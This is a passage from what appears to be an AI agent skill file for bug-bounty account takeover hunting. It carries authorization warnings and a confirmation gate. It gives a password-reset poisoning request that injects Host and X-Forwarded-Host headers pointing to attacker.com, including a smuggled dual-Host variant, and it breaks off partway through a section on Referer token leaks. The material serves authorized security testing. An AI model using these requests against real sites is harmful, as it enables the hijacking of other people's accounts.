--- name: hunt-ato description: Hunt account takeover taxonomy category: security risk: offensive source: https://github.com/elementalsouls/Claude-BugHunter source_repo: elementalsouls/Claude-BugHunter source_type: community date_added: '2026-09-20' license: MIT license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE compatibility: Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled. sources: hackerone_public, public_research report_count: 7 --- > **⚠️ AUTHORIZED USE ONLY** > This skill is for educational purposes or authorized security assessments only. > You must have explicit, written permission from the system owner before using this tool. > Misuse of this tool is illegal and strictly prohibited. > **Mandatory confirmation gate** > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target: > 1. Ask the user to state the exact target URL, IP, account, or resource. > 2. Ask the user to confirm written authorization and the permitted scope. > 3. Show the exact command(s) and explain their expected effect. > 4. Wait for explicit confirmation in the current conversation. > > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab. Testing below requires rate/request/attempt limits and a stop condition before guessing or recovery messages. Million-code and wordlist examples are illustrative only; prefer a tiny approved fixture set with known valid/invalid cases. Claiming a dangling cloud resource or sending OAuth/reset links requires specific authorization and cleanup. Use disposable controlled identities, never real user passwords or private answers; record sanitized proof rather than tokens. Referenced report IDs/counts are upstream claims, not independently verified evidence in this copy. ## 13. ATO — ACCOUNT TAKEOVER TAXONOMY > 11 illustrative paths. ATO is a destination class, not a single bug — each path below is a primitive that has severity assessed only after you demonstrate takeover of a SECOND, explicitly authorized test account B distinct from A and controlled by the assessment owner, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO. ### Path 1: Password Reset Poisoning (Host-Header) ```bash POST /forgot-password HTTP/1.1 Host: attacker.com # primary Host swap # OR keep real Host and add one of: X-Forwarded-Host: attacker.com X-Host: attacker.com X-Forwarded-Server: attacker.com # OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com email=victimB@company.com ``` The reset mailer builds the link from the request Host header → link points to `attacker.com/reset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). An email containing a poisoned link proves link construction; token leakage requires a controlled click/request reaching the approved collector. A DNS interaction alone does not prove the reset token arrived. **False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header. ### Path 2: Reset Token in Referer / Open-Redirect Leak ``` GET /reset-password?token=ABC123 → page loads third-party resource: